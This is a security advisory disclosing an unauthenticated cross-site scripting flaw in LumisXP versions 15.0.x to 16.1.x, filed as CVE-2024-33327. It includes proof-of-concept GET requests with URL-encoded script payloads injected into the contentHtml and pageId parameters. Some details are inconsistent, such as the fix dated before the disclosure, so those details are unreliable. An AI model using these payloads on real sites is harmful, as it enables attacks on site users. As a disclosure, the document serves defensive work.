=====[ Tempest Security Intelligence - ADV-6/2024
]==========================

LumisXP v15.0.x to v16.1.x

Author: Rodolfo Tavares

Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of Contents]==================================================
 * Overview
 * Detailed description
 * Timeline of disclosure
 * Thanks & Acknowledgements
 * References

=====[ Vulnerability
Information]=============================================
 * Class: Improper Neutralization of Input During Web Page Generation
('Cross-site Scripting')
 ('Improper Neutralization of Input During Web Page Generation ('Cross-site
Scripting')') [CWE-79]

 * CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N - 5.4

=====[ Overview]========================================================
 * System affected : LumisXP
 * Software Version : Version - v15.0.x to v16.1.x
 * Impacts :
 * Vulnerability: Lumisxp versions 15.0.x to 16.1.x have an unauthenticated
XSS vulnerability in the UrlAccessibilityEvaluation.jsp page, specifically
in the contentHtml parameter.

=====[ Detailed
description]=================================================
* XSS [GET
/main.jsp?lumChannelId=00000000F00000000000000000000002&lumPageId=LumisBlankPage&lumRTI=lumis.service.doui.selectstructureelement.selectPage&pageId=%22%2c%20print()%2c%0d%22aaa
]:

1 - Send the link by inserting the XSS payload into the contentHtml=
parameter.

```
GET
/lumis/service/htmlevaluation/UrlAccessibilityEvaluation.jsp?contentHtml=%3cp%3e%3ci%20id%3d%22run-code-button%22%20lang%3d%22xml%22%20title%3d%22Run%20Code%20and%20See%20Output%22%3e%3c%2fi%3e%3c%2fp%3e%0a%0a%3cp%3e%3ci%20title%3d%22Light%20Mode%22%3e%3c%2fi%3e%3c%2fp%3e%0a%0a%3ctable%20border%3d%220%22%20cellpadding%3d%220%22%20cellspacing%3d%220mmdfn%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt

```
2 - Verify that in the response your payload will be executed.


=====[ Timeline of
disclosure]===============================================

 2/Apr/2024 - Responsible disclosure was initiated with the vendor.
 12/Apr/2024 - LumisXP Support confirmed the issue;
 16/Fev/2024 - The vendor fixed the vulnerability
 29/May/2024 - CVEs was assigned and reserved as CVE-2024-33327

=====[ Thanks & Acknowledgements]========================================
 * Tempest Security Intelligence [1]
 * Rodolfo Tavares
 * Niklas Correa

=====[ References ]=====================================================

 [1][ [https://cwe.mitre.org/data/definitions/79.html]
 [2][ [https://www.tempest.com.br|https://www.tempest.com.br/]]
 [3][Thanks Filipe X.]

=====[ EOF ]===========================================================

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